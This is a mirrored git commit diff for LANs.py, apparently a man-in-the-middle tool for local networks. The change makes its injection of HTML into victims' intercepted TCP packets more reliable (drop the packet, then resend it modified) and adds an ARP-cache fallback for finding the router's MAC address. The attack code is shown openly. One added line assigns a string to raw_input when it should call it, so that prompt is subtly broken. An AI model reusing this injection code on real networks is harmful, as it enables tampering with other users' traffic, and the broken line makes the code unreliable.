mirror of
https://github.com/DanMcInerney/LANs.py.git
synced 2025-07-06 04:52:18 -07:00
fixed arp caching bug and went back to a more reliable code injection technique
This commit is contained in:
parent
89005f41b8
commit
0c475c7314
1 changed files with 17 additions and 11 deletions
8
LANs.py
8
LANs.py
|
@ -323,7 +323,9 @@ class Parser():
|
|||
del pkt[IP].chksum
|
||||
del pkt[TCP].chksum
|
||||
try:
|
||||
payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
|
||||
payload.set_verdict(nfqueue.NF_DROP)
|
||||
send(pkt)
|
||||
# payload.set_verdict_modified(nfqueue.NF_ACCEPT, str(pkt), len(pkt))
|
||||
print R+'[!] Injected HTML into packet for '+W+self.html_url
|
||||
logger.write('[!] Injected HTML into packet for '+self.html_url)
|
||||
self.block_acks.append(ack)
|
||||
|
@ -1036,6 +1038,8 @@ def main(args):
|
|||
print "[*] Router MAC: " + routerMAC
|
||||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
except Exception:
|
||||
ac = raw_input = "[-] Router did not respond to ARP request for MAC, attempt to pull the MAC from the ARP cache? [y/n] "
|
||||
if ac == 'y':
|
||||
try:
|
||||
print "[-] Router did not respond to ARP request for MAC, attempting to pull the MAC from the ARP cache"
|
||||
arpcache = Popen(['/usr/sbin/arp', '-n'], stdout=PIPE, stderr=DN)
|
||||
|
@ -1046,6 +1050,8 @@ def main(args):
|
|||
logger.write("[*] Router MAC: "+routerMAC+'\n')
|
||||
except Exception:
|
||||
exit("[-] [arp -n] failed to give accurate router MAC address")
|
||||
else:
|
||||
sys.exit("[-] Could not get router MAC address")
|
||||
|
||||
if args.victimmac:
|
||||
victimMAC = args.victimmac
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue